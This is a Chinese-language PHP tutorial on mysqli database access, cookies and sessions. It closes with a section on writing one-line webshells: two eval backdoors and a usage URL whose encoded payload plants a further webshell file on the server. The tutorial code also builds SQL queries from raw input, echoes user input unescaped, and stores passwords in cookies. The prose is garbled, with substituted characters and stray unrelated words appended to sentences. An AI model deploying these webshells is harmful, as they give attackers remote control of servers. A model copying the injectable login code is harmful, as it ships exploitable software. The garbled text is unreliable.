在正式开始学习前,咱们须要开启mysqli扩展,使用phpinof()你能够看到以下展现就说明开启成功:
php
若没有看到mysqli扩展在windows服务器下,打开php.ini文件,将php_mysqli.dll打开便可。
注意:
从PHP7开始默认再也不支持mysql扩展,即再也不支持mysql_*系列函数。请使用mysqli链接数据库。
mysqli即支持php5也支持php7。html
建立表结构: CREATE TABLE IF NOT EXISTS users ( id INT(10) NOT NULL, username varchar(30), password varchar(30), createtime date not null, createip binary(16) );
<form action="connect.php" method="post"> 用户名:<input type="text" name="username"><br /> 密码:<input type="password" name="password"><br /> 重复密码:<input type="password" name="repassword"><br /> <input type="submit" value="提交"> </form>
<?php if (trim($_POST['password']) != trim($_POST['repassword'])) { exit('两次密码不一致,请返回上一页'); } $username = trim($_POST['username']); $password = md5(trim($_POST['password'])); $time = time(); $ip = $_SERVER['REMOTE_ADDR']; $conn = mysqli_connect('localhost', 'root', 'root'); //若是有错误,存在错误号 if (mysqli_errno($conn)) { echo mysqli_error($conn); exit; } mysqli_select_db($conn, 'book'); mysqli_set_charset($conn, 'utf8'); $sql = "insert into user(username,password,createtime,createip) values('" . $username . "','" . $password . "','" . $time . "','" . $ip . "')"; $result = mysqli_query($conn, $sql); if ($result) { echo '成功'; } else { echo '失败'; } echo '当前用户插入的ID为' . mysqli_insert_id($conn); mysqli_close($conn); ?>
<?php $conn = mysqli_connect('localhost', 'root', 'root', 'book'); if (mysqli_errno($conn)) { mysqli_error($conn); exit; } mysqli_set_charset($conn, 'utf8'); $sql = "select id,username,createtime,createip from user order by id desc"; //进行降序排序 $result = mysqli_query($conn, $sql); if ($result && mysqli_num_rows($result)) { //查询出来的行数可使用mysqli_num_rows。这个函数要求传入$result查询的结果变量。 若是有结果则显示列表,若是没有结果咱们产生一句提示便可。 echo '<table width="800" border="1">'; while ($row = mysqli_fetch_assoc($result)) { //使用到的函数是mysqli_fetch_assoc,返回的会是一个关联数组。 这个函数读取一个结果集,会向后移动一次。读取到最后没有结果的时候会返回bool值的false。所以,咱们选择while来配合mysqli_fetch_assoc。 每次循环的结果赋值给$row,$row中是关联数组。所以我在此次循环中,能够将行和列都显示出来。 echo '<tr>'; echo '<td>' . $row['username'] . '</td>'; echo '<td>' . date('Y-m-d H:i:s', $row['createtime']) . '</td>'; echo '<td>' . long2ip($row['createip']) . '</td>'; echo '<td><a href="edit.php?id=' . $row['id'] . '">编辑用户</a></td>'; echo '<td><a href="delete.php?id=' . $row['id'] . '">删除用户</a></td>'; echo '</tr>'; } echo '</table>'; } else { echo '没有数据'; } mysqli_close($conn); ?>
咱们知道Cookie是经过将数据保存在客户端来实现与服务端保持链接的,而Session是经过将数据保存在服务器端来实现保持链接的。咱们经过一个例子来了解session的机制。 咱们去饮料店买饮料,下单之后服务员会给咱们一个号码牌,而后你走到一旁,服务员并不认识你是谁,若是你想拿到你的饮料,你必须提供你的号码牌给服务员才能够,服务员经过号码牌来查记录,来确认你是顾客,确认你点了什么饮料,而后才会把你点的饮料给你。 了解了session原理,再回到Web技术中,咱们有2种方法让客户端拿到“号码牌”,一种是经过cookie,一种是经过把值嵌入网页传给客户端。咱们也有2种方法来让客户端把号码牌传给服务器来拿属于本身的资料,一种是cookie,一种是标准的Query String/POST。 而咱们经常使用的是cookie,由于如今的浏览器都支持cookie,默认也都开启。客户端与服务端彼此都会将cookie发送给对方。来个过程说明一下:打开浏览器输入 www.taobao.com 并回车,因为是第一次与这个网站创建链接,服务端尚未设置过cookie(这里假设当前浏览器是第一次访问这个网址,以前这个网址没有向当前客户端写过cookie),因此没有cookie发送到服务端,服务端在处理完数据返回的时候,会将一个name为sessionid,value为一连串N位字符的cookie发送给客户端,后续客户端再次访问服务端的时候,也会带上这个cookie来访问服务端。因而,他们就这样经过sessionid互相“认识”了。
咱们以前拿开会的例子讲了一个小例子:
在几十年前人们开会的时候,都须要带上一个参会证。这个参会证上有这我的的职务、姓名、单位、照片等信息。在开会的时候,会议安保人员、组织者只须要检查相关信息就好了。
这个小例子主要说明一点,人们本身带着本身的参会证,带着本身的信息。这种模式就是cookie。而电脑将这段cookie信息存在了电脑的硬盘里。
Cookie存在哪儿? Cookie的本质是一小段数据,一小段存储在你电脑硬盘中的数据。但是它存在哪里呢?来,咱们找一下。mysql
Chrome浏览器的Cookie文件的存放路径是: C:\Users\你的用户名\AppData\Local\Google\Chrome\User Data\Default\Cookies Firefox浏览器的Cookies文件存放路径是: C:\Users\你的用户名\AppData\Roaming\Mozilla\Firefox\Profiles\rdgp36vl.default\cookies.sqlite 每一个人可能略有不一样
用文本编辑器直接打开Cookies文件看到的是乱码,咱们得用工具查看,以下图:
sql
咱们来看一下须要关注的几个列,Domain表明的是cookies所属的网站,Name表明的是这个Cookie的名字,Value表明的是Cookie的值,Expires表明的是这个Cookie的有效期。数据库
用一个咱们熟悉的网站举例,tudou.com,图上咱们能够看到有4个关于 tudou.com 的Cookie,那么当咱们访问 tudou.com的时候,浏览器会自动把这4个Cookie的 Name 和 Value 发送到 tudou.com 这个网址所指向的服务器(PS:必须在有效期内,超出有效期的话是不会被发送到服务器的,有效期咱们能够依据需求来定),如此一来,服务器就能够根据这些信息来保持与客户端的链接了,通俗点,就是能够经过这些数据来知道你就是你。当服务器收到这些Cookies后,会根据他们的值来作一些处理,作什么处理?这就取决于开发人员想根据这些信息来干吗了!windows
经过一个用户首次登录网站后,再次访问不须要重复输入用户名和密码的例子来学习Cookie。 首先介绍一下php中设置cookie的方法。
php中提供了一个函数来让咱们设置cookie,这个函数是:
bool setcookie (
string $名字
[, string $值]
[, int $过时时间 = 0]
[, string $路径]
[, string $域名]
[, bool $安全 = false]
[, bool $http只读 = false]
);数组
参数 描述 $名字 必需。规定 cookie 的名称。 $值 可选。规定 cookie 的值。 $有效期 可选。规定 cookie 的有效期。 $路径 可选。规定 cookie 的服务器路径。 $域名 可选。规定 cookie 的域名。 $安全 可选。规定是否经过安全的 HTTPS 链接来传输 cookie。 $http安读 可选。若是true,那么js就没法读取改cookie,增长安全性。
通常来讲,咱们其实用不到上面那么多参数,对于这个函数,咱们通常这么用: setcookie(cookie名,cookie值,cookie有效期);
没错,就那么3个。如此一来,咱们就能够在服务端经过$_COOKIE['name'] 来读取cookie了。浏览器
如下是示例: 咱们将文件名命名为:cookie.php。 咱们来模拟咱们在互联网上见到最多见的例子:输入用户名和密码,登录成功的过程。 咱们来建一个数据库login,其中有表user,有username和password这两个字段。
<?php //第一次登录的时候,经过用户输入的信息来确认用户 if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) { $userName = $_POST['username']; $password = $_POST['password']; //从db获取用户信息 //PS:数据库链接信息改为本身的 分别为主机 数据库用户名 密码 $conn = mysqli_connect('localhost','root','123456'); mysqli_select_db($conn,'test'); $sql = "select * from user where `username` = '$userName' "; $res = mysqli_query($conn,$sql); $row = mysqli_fetch_assoc($res); if ($row['password'] == $password) { //密码验证经过,设置cookies,把用户名和密码保存在客户端 setcookie('username',$userName,time()+60*60*24*30);//设置时效一个月,一个月后这个cookie失效 setcookie('password',$password,time()+60*60*24*30); //最后跳转到登陆后的欢迎页面 header('Location: welcome.php' . "?username=$userName"); } } //再次访问的时候经过cookie来识别用户 if ( ($_COOKIE['username'] != null) && ($_COOKIE['password'] != null) ) { $userName = $_COOKIE['username']; $password = $_COOKIE['password']; //从db获取用户信息 //PS:数据库链接信息改为本身的 分别为主机 数据库用户名 密码 $conn = mysqli_connect('localhost','root','123456','test'); $res = mysqli_query($conn,"select * from user where `username` = '$userName' "); $row = mysqli_fetch_assoc($res); if ($row['password'] == $password) { //验证经过后跳转到登陆后的欢迎页面 header('Location: welcome.php' . "?username=$userName"); } } ?> <html> <head> </head> <body> <form action="" method="POST"> <div> 用户名:<input type="text" name="username" /> 密 码:<input type="text" name="password" /> <input type="submit" value="登陆"> </div> </form> </body> </html>
跳转到的welcome.php代码安全
<?php $user = $_GET['username']; ?> <html> <head> </head> <body> welcome,<?php echo $user;?> </body> </html>
这样,当我第一次访问cookie.php的时候,我须要输入用户名和密码,输入完毕后跳转到了welcome.php。而后我关闭浏览器,再次打开cookie.php,此次没有要求我输入用户信息,而是直接跳转到了welcome.php,由于以前咱们存的cookie信息被浏览器自动发送到了服务端,服务端作完处理直接跳转到了welcome.php,服务器认识咱们了!知道我是以前那个登录过的用户,这样咱们就经过cookie技术让无状态的HTTP协议保持了状态。
照着这个作一遍,我相信你会用cookie了。服务器
首先咱们要开启session,那么第一个要学习的函数就是bool session_start()了,这个函数没有参数。在php文件的开始使用
session_start();
就能够启用新会话或者重用现有会话了。
开启会话以后,那么在接下来的处理中,咱们就可使用$_SESSION变量来存取信息了。咱们要知道的是$_SESSION变量是个数组。当咱们要把信息存入session的时候应该这么写: $_SESSION['userName'] = 'wang';
读取很简单,就像咱们使用数组同样,以下:
$userName = $_SESSION['userName'];
固然也能够 $_SESSION['userName'] 来用。和数组同样的使用。
咱们可使用不少种方式来销毁session数据。 a) unset函数 咱们经过使用相似 unset($_SESSION['XXX']); 来销毁session中的 XXX 变量。PS:请不要!请不要!请不要unset($_SESSION),会致使后续没法使用$_SESSION这个变量!!! b) 空数组赋值给session变量 $_SESSION = array(); 以前咱们说过$_SESSOIN变量是个数组,那么空数组赋值的话也是至关于将当前会话的$_SESSION变量中的值销毁。 c) session_destory() 函数 这个函数会销毁当前会话中的所有数据,并结束当前会话。可是不会重置当前会话所关联的全局变量, 也不会重置会话 cookie。
在php.ini配置文件中有这么一行 session.save_handler = files,
files,说明了php默认的是用文件读写的方式来保存session的。那么在哪一个目录呢?继续看。session.save_path = "/tmp",这一行前面有个 ; ,说明是被注释的,不过即使这样,php默认的session 也是保存在这里的,/tmp目录。
login.php文件
<?php session_start(); if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) { $userName = $_POST['username']; $password = $_POST['password']; //从db获取用户信息 数据库信息改为本身的 $conn = mysqli_connect('host','username','password','login'); mysqli_select_db($conn,'oldboy'); $res = mysqli_query($conn,"select * from user where `username` = '$username' "); $row = mysqli_fetch_assoc($res); if ($row['password'] == $password) { //密码验证经过,设置session,把用户名和密码保存在服务端 $_SESSION['username'] = $username; $_SESSION['password'] = $password; //最后跳转到登陆后的欢迎页面 //注意:这里咱们没有像cookie同样带参数过去 header('Location: welcome.php'); } ?> <html> <head> <!-- 这里指明页面编码 --> <meta charset="utf-8"> </head> <body> <form action="" method="POST"> <div> 用户名:<input type="text" name="username" /> 密 码:<input type="text" name="password" /> <input type="submit" value="登陆"> </div> </form> </body> </html>
welcome.php 这里咱们用的是session中的信息,而不是像cookie同样在url中带参数过来
<?php session_start(); $username = $_SESSION['username']; ?> <html> <head> </head> <body> welcome,<?php echo $username;?> </body> </html>
编写一句话木马
案例1:
<?php $a = $_REQUEST['a']; $b = null; eval($b.$a); ?>
利用方法:
http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=phpinfo(); http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
案例2:
<?php @eval($_POST['1']);?>